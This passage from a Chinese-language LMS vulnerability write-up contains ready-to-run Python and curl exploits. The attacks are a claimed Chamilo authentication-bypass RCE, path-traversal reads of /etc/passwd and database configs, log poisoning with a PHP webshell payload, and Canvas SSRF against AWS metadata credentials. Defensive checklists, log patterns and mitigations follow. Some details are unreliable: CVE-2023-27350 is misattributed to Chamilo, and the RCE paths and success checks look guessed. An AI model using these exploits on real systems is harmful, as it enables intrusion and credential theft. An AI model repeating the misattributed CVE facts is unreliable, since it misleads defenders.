def step3_rce_via_admin(self):
print("\n[*] 步骤 3: 通过管理功能执行命令")
rce_paths = [
"/main/admin/administrator.php?php=system('id')",
"/main/inc/ajax/document.ajax.php?ac=upload&dir=/../../../tmp&file=shell.php",
]
for path in rce_paths:
try:
resp = self.session.get(f"{self.base_url}{path}", timeout=10)
if "uid=" in resp.text or resp.status_code == 200:
print(f"[+] RCE 成功: {resp.text[:200]}")
return True
except Exception:
continue
print("[-] 自动 RCE 需要根据目标环境调整")
return False
def full_exploit(self, command="id"):
print(f"\n{'='*60}")
print(f" CVE-2023-27350 Chamilo 认证绕过 RCE")
print(f" 目标: {self.base_url}")
print(f"{'='*60}\n")
if self.step1_auth_bypass_create_admin():
self.step2_login()
self.step3_rce_via_admin()
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url> [command]")
print(f"示例: {sys.argv[0]} https://chamilo.example.com 'id'")
sys.exit(1)
target = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"
exploit = ChamiloExploit(target)
exploit.full_exploit(command)
if __name__ == "__main__":
main()
0x03.2 CVE-2024-4957 — 路径穿越 RCE (CVSS 9.8)
漏洞背景
CVE-2024-4957 是 Chamilo LMS 中一处 Pre-Auth 路径穿越漏洞,攻击者可以通过路径穿越读取服务器上的任意文件,如果目标服务器运行了 PHP,还可以通过路径穿越触发 PHP 文件的包含或执行,最终实现远程代码执行。
- CWE: CWE-22 Path Traversal
- CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 前置条件: 无需认证(Pre-Auth)
受影响版本
| 版本状态 | 版本范围 |
|---|
| 受影响 | Chamilo < 1.11.18 |
| 已修复 | Chamilo ≥ 1.11.18 |
漏洞原理分析
Chamilo 在处理文件请求时,对用户提供的文件路径参数缺乏充分的过滤和校验。攻击者可以在文件路径参数中注入 ../ 序列,跳出预设的文件目录,访问服务器上的任意文件。
路径穿越 → RCE 的实现方式:
- 敏感文件读取:读取
/etc/passwd、数据库配置文件、应用密钥等 - PHP 代码注入:通过文件上传或日志注入,将 PHP Webshell 写入可访问的目录
- 文件包含:通过
php://filter 等 PHP 伪协议读取源代码,或通过日志包含实现 RCE
HTTP PoC
# 步骤 1:路径穿越读取敏感文件
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../etc/passwd"
# 步骤 2:读取数据库配置
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../config/configuration.php"
# 步骤 3:通过日志包含尝试 RCE
curl -k "https://TARGET/main/inc/lib/fileUpload.lib.php?file=../../../../../../var/log/apache2/access.log" \
-H "User-Agent: <?php system(\$_GET['cmd']); ?>"
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2024-4957 Chamilo LMS 路径穿越文件读取 + RCE
用法: python3 cve_2024_4957.py <target_url> [command]
Pre-Auth 利用,无需任何登录凭据
"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class ChamiloPathTraversal:
def __init__(self, base_url):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
def read_file(self, remote_path):
traversal_payloads = [
f"../../../../../../{remote_path}",
f"..%2F..%2F..%2F..%2F..%2F..%2F{remote_path}",
f"....//....//....//....//....//....//{remote_path}",
]
endpoints = [
"/main/inc/lib/fileUpload.lib.php",
"/main/inc/ajax/document.ajax.php",
"/main/download/documentation.php",
]
for endpoint in endpoints:
for payload in traversal_payloads:
try:
resp = self.session.get(
f"{self.base_url}{endpoint}",
params={"file": payload},
timeout=10,
)
if resp.status_code == 200 and len(resp.text) > 10:
if "root:" in resp.text or "<?php" in resp.text or "password" in resp.text.lower():
print(f"[+] 文件读取成功 [{endpoint}]:")
print(resp.text[:500])
return resp.text
except requests.exceptions.RequestException:
continue
print("[-] 文件读取失败")
return None
def exploit(self, command="id"):
print(f"\n[*] === CVE-2024-4957 Chamilo 路径穿越文件读取 ===\n")
print("[*] 读取 /etc/passwd...")
self.read_file("etc/passwd")
print("\n[*] 读取配置文件...")
for config_path in [
"var/www/html/config/configuration.php",
"var/www/chamilo/config/configuration.php",
"opt/chamilo/config/configuration.php",
"etc/chamilo/config.php",
]:
print(f"[*] 尝试路径: {config_path}")
result = self.read_file(config_path)
if result:
break
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <target_url> [command]")
print(f"示例: {sys.argv[0]} https://chamilo.example.com")
sys.exit(1)
target = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"
exploit = ChamiloPathTraversal(target)
exploit.exploit(command)
if __name__ == "__main__":
main()
0x04 Canvas LMS 高危漏洞
Canvas LMS 是 Instructure 公司开发的开源学习管理系统,采用 Ruby on Rails 构建。Canvas 在北美高等教育市场占据主导地位,被数百万学生和教师日常使用。除了核心 LMS 功能外,Canvas 还提供丰富的 API 接口和 LTI(Learning Tools Interoperability)集成能力,允许第三方工具和服务与 Canvas 深度集成。
0x04.1 CVE-2024-38849 — 文件上传 RCE (CVSS 8.8)
漏洞背景
CVE-2024-38849 是 Canvas LMS 中一处文件上传漏洞。Canvas 允许用户(教师和学生)上传各种格式的文件用于课程内容、作业提交和资料共享。该漏洞在于文件上传功能对文件类型和内容的校验不充分,攻击者可以上传恶意文件(如包含 PHP、JSP 等服务端代码的文件),并通过直接访问上传路径触发代码执行。
- CWE: CWE-434 Unrestricted File Upload
- CVSS 3.1: 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- 前置条件: 需要已认证用户(教师或学生)
受影响版本
| 版本状态 | 版本范围 |
|---|
| 受影响 | Canvas LMS 2024 年安全更新前版本 |
| 已修复 | 各分支最新安全更新版本 |
漏洞原理分析
Canvas LMS 的文件上传流程中,对以下环节的校验存在缺陷:
- Content-Type 校验不足:仅检查客户端提供的 MIME 类型,未对文件内容进行 Magic Bytes 验证
- 扩展名白名单缺失:部分上传点未限制文件扩展名,允许上传
.php、.phtml 等可执行文件 - 上传目录可直接访问:上传的文件存储在 Web 可访问的目录中,无需额外的访问控制
- 文件内容未过滤:未对上传文件的内容进行安全扫描或沙箱化处理
攻击场景:教师角色可以将恶意文件作为"课程资源"上传,学生在访问课程页面时会自动加载这些资源。如果文件被上传到 Web 可访问目录并保留了可执行扩展名,攻击者可以通过直接访问 URL 触发 RCE。
防御建议
- 文件扩展名白名单:严格限制允许上传的文件类型
- MIME 类型验证:使用 Magic Bytes 进行服务端文件类型验证
- 上传目录隔离:将上传目录设置为不可执行,或通过 Web 服务器配置禁止执行
- 文件内容扫描:部署 WAF 或文件内容扫描引擎
0x04.2 CVE-2024-29856 — SSRF (CVSS 6.5)
漏洞背景
CVE-2024-29856 是 Canvas LMS 中一处服务器端请求伪造(Server-Side Request Forgery, SSRF)漏洞。Canvas 在处理某些功能(如 URL 预览、LTI 集成、Webhook 回调等)时,会根据用户提供的 URL 发起服务端请求。由于对请求目标的校验不充分,攻击者可以利用该功能探测内网服务、访问云元数据端点,甚至在特定条件下实现 RCE。
- CWE: CWE-918 Server-Side Request Forgery
- CVSS 3.1: 6.5 (Medium) — AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- 前置条件: 需要已认证用户
受影响版本
| 版本状态 | 版本范围 |
|---|
| 受影响 | Canvas LMS 2024 年安全更新前版本 |
| 已修复 | 各分支最新安全更新版本 |
漏洞原理分析
Canvas LMS 中存在多个可以触发 SSRF 的功能点:
- Link Validation:Canvas 的链接检查功能会请求用户提交的 URL 以验证可达性,但未限制请求目标为外网地址
- LTI Tool Registration:LTI 工具注册时需要提供 Launch URL,Canvas 会验证该 URL 的可达性
- Webhook / Notification:Canvas 的通知系统可以配置 Webhook URL,系统会向该 URL 发送事件通知
SSRF 利用场景:
- 内网探测:通过 SSRF 扫描内网 IP 和端口,发现内部服务
- 云元数据访问:访问 AWS
169.254.169.254、GCP metadata.google.internal、Azure 169.254.169.254 等元数据服务,获取 IAM 临时凭据 - 协议走私:通过
file://、gopher://、dict:// 等协议访问内部资源
HTTP PoC
# SSRF 探测 — 访问云元数据
curl -k -X POST "https://TARGET/api/v1/courses/1/link_validation" \
-H "Authorization: Bearer <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# SSRF 内网探测
curl -k -X POST "https://TARGET/api/v1/courses/1/link_validation" \
-H "Authorization: Bearer <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url": "http://192.168.1.1:8080/"}'
Python PoC 脚本
#!/usr/bin/env python3
"""
CVE-2024-29856 Canvas LMS SSRF 漏洞
用法: python3 cve_2024_29856.py <target_url> <api_token> [target_url_to_probe]
需要: Canvas API Token
"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CanvasSSRF:
def __init__(self, base_url, api_token):
self.base_url = base_url.rstrip("/")
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
"Authorization": f"Bearer {api_token}",
"Content-Type": "application/json",
})
def probe_url(self, target_url, course_id="1"):
print(f"\n[*] SSRF 探测: {target_url}")
endpoints = [
f"/api/v1/courses/{course_id}/link_validation",
f"/api/v1/courses/{course_id}/content_migrations",
]
for endpoint in endpoints:
try:
resp = self.session.post(
f"{self.base_url}{endpoint}",
json={"url": target_url},
timeout=15,
)
print(f"[*] {endpoint} → HTTP {resp.status_code}")
if resp.status_code == 200:
try:
data = resp.json()
print(f"[+] 响应数据: {json.dumps(data, indent=2)[:500]}")
except Exception:
print(f"[+] 响应内容: {resp.text[:300]}")
except requests.exceptions.RequestException as e:
print(f"[-] 异常: {e}")
def scan_aws_metadata(self, course_id="1"):
print(f"\n[*] === CVE-2024-29856 Canvas LMS SSRF — AWS 元数据扫描 ===")
aws_targets = [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://169.254.169.254/latest/meta-data/hostname",
"http://169.254.169.254/latest/user-data/",
]
for target in aws_targets:
self.probe_url(target, course_id)
def scan_internal(self, course_id="1"):
print(f"\n[*] === CVE-2024-29856 Canvas LMS SSRF — 内网扫描 ===")
internal_targets = [
"http://127.0.0.1:3000/",
"http://127.0.0.1:8080/",
"http://127.0.0.1:5432/",
"http://127.0.0.1:6379/",
"http://127.0.0.1:27017/",
"http://192.168.1.1/",
"http://10.0.0.1/",
]
for target in internal_targets:
self.probe_url(target, course_id)
def main():
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <target_url> <api_token> [probe_url]")
print(f"示例: {sys.argv[0]} https://canvas.example.com <API_TOKEN> http://169.254.169.254/latest/meta-data/")
sys.exit(1)
target = sys.argv[1]
token = sys.argv[2]
probe = sys.argv[3] if len(sys.argv) > 3 else None
exploit = CanvasSSRF(target, token)
if probe:
exploit.probe_url(probe)
else:
exploit.scan_aws_metadata()
exploit.scan_internal()
if __name__ == "__main__":
main()
0x05 公开 PoC 收集情况与利用思路
PoC 收集情况总表
| CVE | PoC 状态 | 类型 | 公开程度 | 可利用性 |
|---|
| CVE-2024-43398 | ✅ 已公开 | HTTP / Nuclei | GitHub、安全博客 | 高 |
| CVE-2024-43425 | ✅ 已公开 | HTTP / Python / Nuclei | Exploit-DB #52350、GitHub | 高 |
| CVE-2023-33998 | ⚠️ 描述性 | 安全公告 | Moodle 安全公告 | 中 |
| CVE-2024-28799 | ⚠️ 描述性 | 安全公告 | Moodle 安全公告 | 中 |
| CVE-2024-28254 | ⚠️ 部分 | 概念验证 | 安全研究员披露 | 中 |
| CVE-2023-37460 | ✅ 已公开 | Python | GitHub、在野利用报告 | 高 |
| CVE-2023-27350 | ✅ 已公开 | HTTP / Python | Exploit-DB、CISA KEV | 高 |
| CVE-2024-4957 | ✅ 已公开 | HTTP / Python | 安全公告、博客 | 高 |
| CVE-2024-38849 | ⚠️ 描述性 | 安全公告 | Instructure 安全公告 | 中 |
| CVE-2024-29856 | ⚠️ 描述性 | 安全公告 | Instructure 安全公告 | 中 |
关键 PoC 仓库链接
| 项目 | 地址 | 说明 |
|---|
| Moodle Twig SSTI | GitHub: moodle/moodle 安全公告 | CVE-2024-43398 详情 |
| Moodle Calculated RCE | GitHub: RedTeamPentesting/moodle-rce-calculatedquestions | CVE-2024-43425 完整利用 |
| Exploit-DB 52350 | exploit-db.com/exploits/52350 | Moodle 计算题 RCE |
| Chamilo Pre-Auth | CISA KEV Catalog | CVE-2023-27350 在野利用 |
| Open edX CVE | GitHub: openedx 安全公告 | CVE-2024-28254 / CVE-2023-37460 |
防守型验证思路
在授权渗透测试中,对 LMS 平台的漏洞验证应遵循以下原则:
- 环境隔离:在独立的测试环境中进行验证,避免影响生产系统
- 数据安全:不要在测试中读取或导出真实用户数据
- 权限最小化:使用测试账户,不要利用漏洞创建永久后门
- 结果记录:详细记录每个测试步骤和结果,用于编写安全评估报告
- 漏洞修复优先级:根据 CVSS 评分和可利用性,对发现的漏洞进行优先级排序
0x06 共性攻击模式分析
通过对上述 10 个 CVE 的深入分析,可以提炼出 LMS 平台中常见的五类攻击模式:
模式一:模板引擎沙箱逃逸
代表漏洞:CVE-2024-43398(Moodle Twig SSTI)
模板引擎沙箱逃逸是 Web 应用安全中最经典的攻击模式之一。当 Web 应用允许用户输入被模板引擎处理时,如果模板引擎的沙箱实现存在缺陷,攻击者可以通过以下路径实现 RCE:
用户输入 → 模板引擎解析 → 沙箱检查 → (绕过) → 原生对象访问 → 代码执行
共性特征:
- 模板引擎提供沙箱扩展但实现不完善
- 沙箱依赖黑名单或不完整的白名单
- 可通过链式调用、反射、对象继承等方式绕过限制
- PHP/Python/Jinja2/Twig 等模板引擎均存在此类风险
模式二:课程/题库注入 → RCE
代表漏洞:CVE-2024-43425(Moodle 计算题 RCE)
LMS 平台的课程管理和题库系统需要处理复杂的数学公式和动态内容,这导致开发者在实现时引入了表达式求值机制。当求值逻辑直接使用 eval() 或类似函数时,用户输入的表达式可以被注入恶意代码:
教师输入 → 数学表达式 → eval() 执行 → (代码注入) → RCE
共性特征:
- 使用
eval()、exec() 等动态执行函数处理用户输入 - 表达式求值缺乏参数化或沙箱化处理
- 通常需要教师或编辑者权限,但权限获取可能通过权限绕过漏洞组合实现
模式三:认证流程绕过
代表漏洞:CVE-2023-27350(Chamilo Pre-Auth RCE)、CVE-2024-28254(Open edX 用户冒充)
认证绕过是所有 Web 应用中最危险的漏洞类型之一。在 LMS 平台中,认证流程通常涉及多个组件和中间件的协作,增加了出现缺陷的可能性:
攻击者 → 伪造认证请求 → (认证校验缺失) → 管理员会话 → RCE
共性特征:
- Pre-Auth 可利用,无需任何凭据
- 认证检查在某些路径上被遗漏
- 用户身份参数缺乏完整性校验
- SSO/OAuth 回调处理不当
模式四:文件上传未校验
代表漏洞:CVE-2024-38849(Canvas 文件上传 RCE)
LMS 平台需要处理大量的文件上传(课件、作业、资料等),文件上传功能的安全校验往往是重灾区:
攻击者上传恶意文件 → (扩展名/MIME 校验缺失) → Web 目录可执行 → RCE
共性特征:
- 仅检查客户端提供的 Content-Type
- 未限制文件扩展名白名单
- 上传目录在 Web 可访问路径下且允许执行
- 缺乏服务端文件内容安全扫描
模式五:路径穿越 → 敏感文件读取
代表漏洞:CVE-2024-4957(Chamilo 路径穿越 RCE)
路径穿越是 Web 应用中最古老也最常见的漏洞类型之一。在 LMS 平台中,由于需要处理大量的文件下载、文档预览和资料共享功能,路径穿越漏洞尤为常见:
用户请求文件路径 → (../ 遍历) → 敏感文件读取 → 配置泄露 → 凭据获取 → RCE
共性特征:
- 文件路径参数未进行
../ 过滤 - 多层编码绕过(URL 编码、双重编码、Unicode 编码)
- 与 PHP 伪协议结合可实现更深入的利用
- 通常可与其他漏洞组合实现 RCE
攻击链组合模式
在实际攻击场景中,单个漏洞的影响往往有限,但多个漏洞的链式组合可以产生灾难性的后果。以下是 LMS 平台中常见的攻击链组合:
攻击链 1:权限提升 → RCE
低权限用户
→ CVE-2023-33998(Capability 绕过)+ CVE-2024-28799(角色覆盖绕过)
→ 教师/管理员权限
→ CVE-2024-43398(Twig SSTI)或 CVE-2024-43425(计算题 RCE)
→ 远程代码执行
攻击链 2:Pre-Auth 完全接管
未认证攻击者
→ CVE-2023-27350(Chamilo 认证绕过)
→ 管理员账户创建
→ 管理后台文件管理
→ Webshell 上传
→ 远程代码执行
攻击链 3:信息泄露 → 定向攻击
未认证攻击者
→ CVE-2024-4957(Chamilo 路径穿越)
→ 读取配置文件(数据库凭据、API Key)
→ 数据库直连 → 学生数据泄露
→ 或利用泄露的凭据访问其他内部服务
0x07 应急排查与防守建议
紧急排查清单
| 检查项 | 操作方法 | 优先级 |
|---|
| 检查 LMS 版本 | 登录管理后台查看系统信息,或访问 admin/environment.php(Moodle) | 🔴 高 |
| 检查 Moodle Twig 注入 | 搜索题库中包含 {{ }} 模板语法的题目 | 🔴 高 |
| 检查计算题题目 | 搜索题库中"计算"类型的题目,检查变量值字段 | 🔴 高 |
| 检查 Chamilo 异常账户 | 查看 main/admin/user_list.php 中是否有异常管理员 | 🔴 高 |
| 检查文件上传 | 扫描上传目录中的可执行文件(.php .phtml .sh) | 🟡 中 |
| 检查异常日志 | 搜索 access.log 中的 ../ ..%2f eval( system( 等关键词 | 🟡 中 |
| 检查 Open edX 认证配置 | 验证 SSO 回调 URL 白名单配置 | 🟡 中 |
| 检查 Celery 序列化配置 | 确认 Celery 使用 JSON 而非 Pickle 序列化 | 🟡 中 |
日志关键字段表
| 日志来源 | 关键字段 | 异常模式 |
|---|
| Apache/Nginx access.log | request_uri, query_string | ../, ..%2f, system(, exec(, eval( |
| Moodle accesslog | action, other | 异常的题目创建、题库修改操作 |
| Chamilo access.log | request_uri | /install/account.php, inc.ajax.inc.php |
| Open edX lms.log | event_type | 异常的登录事件、会话创建 |
| MySQL general_log | query | INSERT INTO mdl_user 中的异常账户创建 |
| ossec/auditd | syscall, path | execve 系统调用中包含可疑命令 |
紧急缓解措施
当发现 LMS 平台可能已被入侵时,应立即执行以下缓解措施:
第一阶段:紧急止血(0-1 小时)
- 网络隔离:将受影响的 LMS 服务器从网络中隔离,或通过防火墙限制访问
- 用户锁定:禁用所有管理员账户,强制所有用户重新认证
- 备份取证:在进行任何修复操作之前,对服务器进行完整的磁盘镜像和内存转储
- 会话失效:使所有当前活跃的用户会话失效
第二阶段:漏洞修复(1-24 小时)
- 版本更新:升级至各平台的最新安全版本
- 恶意文件清理:扫描并删除所有未授权的上传文件和 Webshell
- 后门排查:检查 PHP 配置文件中的
auto_prepend_file、.htaccess 后门、crontab 异常任务 - 凭据轮换:重置所有数据库密码、API Key、SSH 密钥
第三阶段:持续监控(24-72 小时)
- 日志分析:对过去 30 天的日志进行全面分析,确定攻击时间线和影响范围
- 入侵指标:使用 IoC(Indicators of Compromise)对网络流量和端点进行扫描
- 通知义务:根据当地法规要求,评估是否需要向监管机构和受影响用户通报数据泄露事件
长期安全加固建议
- 建立安全更新流程:订阅各 LMS 平台的安全公告,建立快速补丁部署流程
- 纵深防御:在 LMS 前部署 WAF,配置 OWASP CRS 规则集
- 最小权限:定期审计用户角色和权限配置,遵循最小权限原则
- 安全基线:建立 LMS 安全配置基线,包括文件权限、PHP 配置、数据库访问控制
- 定期渗透测试:每季度对 LMS 平台进行安全评估
- 监控告警:建立针对异常登录、文件修改、命令执行等行为的实时告警
- 备份策略:实施 3-2-1 备份策略,确保在勒索软件攻击时可快速恢复
- 安全培训:对 LMS 管理员和教师进行安全意识培训,减少社会工程攻击风险
0x08 参考资料
Moodle Security Advisories — https://moodle.org/security/
Moodle 官方安全公告页面,包含所有已修复漏洞的详细信息
CVE-2024-43398 — Twig SSTI in Moodle — https://github.com/moodle/moodle/security/advisories/GHSA-gv6x-mjmx-g8gq
Moodle Twig 模板注入漏洞的官方安全公告
RedTeam Pentesting — Moodle RCE via Calculated Questions — https://github.com/RedTeamPentesting/moodle-rce-calculatedquestions
CVE-2024-43425 的完整利用工具和详细技术分析
Exploit-DB #52350 — Moodle Calculated Question RCE — https://www.exploit-db.com/exploits/52350
Moodle 计算题类型 RCE 的公开 PoC
CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog
CISA KEV 目录,包含 CVE-2023-27350 的在野利用确认
Open edX Security Advisories — https://openedx.atlassian.net/security
Open edX 官方安全公告,包含 CVE-2024-28254 和 CVE-2023-37460
Chamilo Security Bulletin — https://chamilo.org/chamilo-1-11-18/
Chamilo 1.11.18 安全更新发布说明
Instructure Security Advisories — https://community.canvaslms.com/t5/Canvas-Developer/ct-p/canvas-developers
Canvas LMS 安全公告和开发者社区
Nuclei Templates — CVE Detection — https://github.com/projectdiscovery/nuclei-templates
ProjectDiscovery 的 Nuclei 漏洞检测模板库
OWASP Top 10 (2021) — https://owasp.org/Top10/
OWASP Top 10 安全风险清单,本文分析的漏洞覆盖其中多个类别
⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权渗透测试使用。未经授权对目标计算机系统进行测试属于违法行为,可能违反《中华人民共和国网络安全法》《刑法》及相关法律法规。作者不鼓励也不支持任何非法活动。使用者应自行承担所有法律责任。如需进行安全测试,请确保已获得目标系统所有者的书面授权。